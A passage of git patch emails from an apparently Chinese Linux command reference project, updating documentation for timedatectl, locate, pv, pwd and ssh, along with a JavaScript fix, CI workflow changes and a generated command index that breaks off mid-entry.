timesync-status + Server: 91.189.94.4 (ntp.ubuntu.com) +Poll interval: 17min 4s (min: 32s; max 34min 8s) + Leap: normal + Version: 4 + Stratum: 2 + Reference: 91EECB0E + Precision: 1us (-23) +Root distance: 29.922ms (max: 5s) + Offset: +2.497ms + Delay: 199.540ms + Jitter: 5.834ms + Packet count: 6 + Frequency: +13.039ppm +``` + +`systemd-timedated` 可能默认配置了谷歌的 NTP 服务器（如 time1.google.com），为了顺利完成网络时间同步，您可以编辑 `/etc/systemd/timesyncd.conf` 文件添加自己的 NTP 服务器地址。 From a26b60dcc163c61adb451d14f3b157530ec148fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 17:22:24 +0800 Subject: [PATCH 0449/1019] Update timedatectl.md --- command/timedatectl.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/timedatectl.md b/command/timedatectl.md index 95fe0153e1b..4c32dfa55ed 100644 --- a/command/timedatectl.md +++ b/command/timedatectl.md @@ -3,6 +3,10 @@ timedatectl 用于在 Linux 中设置或查询系统时间、日期和时区等配置。 +## 补充说明 + +在 Linux 运维中，通常使用此命令来设置或更改当前的日期、时间和时区，或启用自动系统时钟与远程 NTP 服务器同步，以确保 Linux 系统始终保持正确的时间。 + ## 概要 ```shell From 4126365b33415fa660b218873f9a99dc0af9248c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 17:43:03 +0800 Subject: [PATCH 0450/1019] Update locate.md --- command/locate.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/command/locate.md b/command/locate.md index be8726ec3ac..fd1cdc36ac8 100644 --- a/command/locate.md +++ b/command/locate.md @@ -16,7 +16,11 @@ locate指令和find找寻档案的功能类似，但locate是透过update程序 ### 语法 ```shell -locate [选择参数] [样式] +locate [-d path | --database=path] [-e | -E | --[non-]existing] [-i | + --ignore-case] [-0 | --null] [-c | --count] [-w | --wholename] [-b | + --basename] [-l N | --limit=N] [-S | --statistics] [-r | --regex ] + [--regextype R] [--max-database-age D] [-P | -H | --nofollow] [-L | + --follow] [--version] [-A | --all] [-p | --print] [--help] pattern... ``` ### 选项 @@ -46,7 +50,7 @@ locate [选择参数] [样式] ### 实例 -实例1：查找和pwd相关的所有文件 +实例1：查找和 `pwd` 相关的所有文件 ```shell root ~ # locate pwd @@ -67,7 +71,7 @@ root ~ # locate pwd /usr/share/help/el/empathy/irc-join-pwd.page ``` -实例2： 搜索etc目录下所有以sh开头的文件 +实例2： 搜索 etc 目录下所有以 sh 开头的文件 ```shell root ~ # locate /etc/sh @@ -88,4 +92,9 @@ root ~ # locate /etc/m /etc/mate-settings-daemon ``` +忽略大小写搜索当前用户目录下所有以 `r` 开头的文件 ： + +```shell +locate -i ~/r +``` From f122120d69295ad7ee3ab484c10e17f66843242e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 17:46:06 +0800 Subject: [PATCH 0451/1019] Update pv.md --- command/pv.md | 36 +++++++++++++++++++++++++++++++++--- 1 file changed, 33 insertions(+), 3 deletions(-) diff --git a/command/pv.md b/command/pv.md index 20ef7ef0caf..99e1ea29f08 100644 --- a/command/pv.md +++ b/command/pv.md @@ -84,16 +84,46 @@ linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/ pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv ``` +复制文件时显示进度条（如果没有指定选项，默认使用 -p, -t, -e, -r 和 -b 选项） + +```bash +$ pv getiot.db > getiot.db.bak +``` +将 `/var/log/syslog` 文件打包成 zip 压缩包，并显示进度 + +```bash +$ pv /var/log/syslog | zip > syslog.zip +``` + +使用 tar 命令解压缩时显示进度条 + +```bash +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +12.3MiB 0:00:02 [6.15MiB/s] [=========> ] 21% ETA 0:00:07 +```` + +解压完成 + +```bash +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100% +``` + +字符一个个匀速在命令行中显示出来 ```shell -# 字符一个个匀速在命令行中显示出来 echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 +``` + +压缩文件展示进度信息 -# 压缩文件展示进度信息 +```shell pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz +``` +用 dd 命令将 iso 写入磁盘，pv来实现进度条的显示 -# 用 dd 命令将 iso 写入磁盘，pv来实现进度条的显示 +```shell sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m ## 显示下面进度 source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56 From 332219ab55401a3c5fff5484895a6920a49d5950 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 8 Apr 2022 17:49:58 +0800 Subject: [PATCH 0452/1019] Update pwd.md --- command/pwd.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/command/pwd.md b/command/pwd.md index 1d7ec0bec68..64951e0a896 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -1,7 +1,11 @@ pwd === -显示当前工作目录的绝对路径。执行 pwd 指令可立刻得知您目前所在的工作目录的绝对路径名称。 +显示当前工作目录的绝对路径。 + +## 补充说明 + +pwd（英文全拼：print working directory） 命令用于显示用户当前所在的工作目录（以绝对路径显示）。 ## 内建命令 From 33d8db9888444ad13059b6e0cb38899d9a38beb8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 13 Apr 2022 17:44:03 +0800 Subject: [PATCH 0453/1019] fix: fix script errors (#353). --- template/js/index.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/template/js/index.js b/template/js/index.js index 9836c8b5bf5..e1b9551bd32 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -29,7 +29,9 @@ goToIndex: function () { var elma = document.getElementsByTagName('A'); for (var i = 0; i < elma.length; i++) { - if (elma[i].pathname === '/') elma[i].href = this.root_path + '/'; + if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) { + elma[i].href = this.root_path + '/'; + } } }, bindEvent: function (elm, type, handle) { From 0e295d56363d17f84b462d9ccc3c40585ba23d8f Mon Sep 17 00:00:00 2001 From: Jayin Date: Sun, 17 Apr 2022 00:33:04 +0800 Subject: [PATCH 0454/1019] Update ssh.md (#354) --- command/ssh.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/ssh.md b/command/ssh.md index fff7efaabdd..c4cbcdd5cb6 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -27,7 +27,7 @@ ssh(选项)(参数) -F：指定ssh指令的配置文件； -f：后台执行ssh指令； -g：允许远程主机连接主机的转发端口； --i：指定身份文件； +-i：指定身份(私钥)文件； -l：指定连接远程服务器登录用户名； -N：不执行远程指令； -o：指定配置选项； @@ -52,7 +52,7 @@ ssh user1@172.24.210.101 ssh -p 2211 root@140.206.185.170 # ssh 大家族 -ssh user@ip -p22 # 默认用户名为当前用户名，默认端口为 22 +ssh -p 22 user@ip # 默认用户名为当前用户名，默认端口为 22 ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥 ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys，之后可以免密登录 From 24cf8327aaae461092df7fda5dfd237dffd00d72 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 21:48:59 +0800 Subject: [PATCH 0455/1019] chore: update workflows config. --- .github/workflows/ci.yml | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 536d393beca..72cd7815c1c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -11,7 +11,7 @@ jobs: - uses: actions/checkout@v2 - uses: actions/setup-node@v2 with: - node-version: 14 + node-version: 16 - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main @@ -21,7 +21,13 @@ jobs: - run: npm install - run: npm run build - - run: npm run dash + - run: node build/dash.js + + - name: Compress linux-command.docset. + run: zip -r -y linux-command.docset.zip . -x "node_modules/*" + working-directory: .deploy/linux-command.docset + - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ../../ + - run: rm -rf .deploy/linux-command.docset - run: cp CONTRIBUTORS.svg .deploy @@ -55,6 +61,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: + artifacts: 'linux-command.docset.zip' token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} From cf9c7eb13a15d503f7de4796d0121abd87831d0f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 21:51:56 +0800 Subject: [PATCH 0456/1019] fix: pin dependency sqlite3 to v5.0.2 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index fc9f2450d56..099b7a34d21 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,7 @@ "fs-extra": "~10.0.1", "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", - "sqlite3": "~5.0.2", + "sqlite3": "5.0.2", "stylus": "~0.57.0", "uglify-js": "~3.15.2" }, From beb169950f3f033ce37a0c0d7aef44cee1f6a979 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 22:07:59 +0800 Subject: [PATCH 0457/1019] chore: update workflows config. --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 72cd7815c1c..2f0e6f80476 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,7 +39,7 @@ jobs: - name: get tag version id: tag_version - uses: jaywcjlove/changelog-generator@v1.5.0 + uses: jaywcjlove/changelog-generator@v1.5.3 - name: Deploy uses: peaceiris/actions-gh-pages@v3 @@ -52,7 +52,7 @@ jobs: - name: Generate Changelog id: changelog - uses: jaywcjlove/changelog-generator@v1.5.0 + uses: jaywcjlove/changelog-generator@v1.5.3 with: filter-author: (小弟调调™) filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) From 1868cc70f7200acc3db36ca71cccdb6da9ce3ea4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 22:08:23 +0800 Subject: [PATCH 0458/1019] chore: build data. --- dist/data.json | 5 +++++ dist/data.min.json | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index 1948f9b8b48..ed0cc5c17a4 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2469,6 +2469,11 @@ "p": "/time", "d": "统计给定命令所花费的总时间" }, + "timedatectl": { + "n": "timedatectl", + "p": "/timedatectl", + "d": "用于在 Linux 中设置或查询系统时间、日期和时区等配置。" + }, "times": { "n": "times", "p": "/times", diff --git a/dist/data.min.json b/dist/data.min.json index 93fb7d0b164..e197176eda4 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原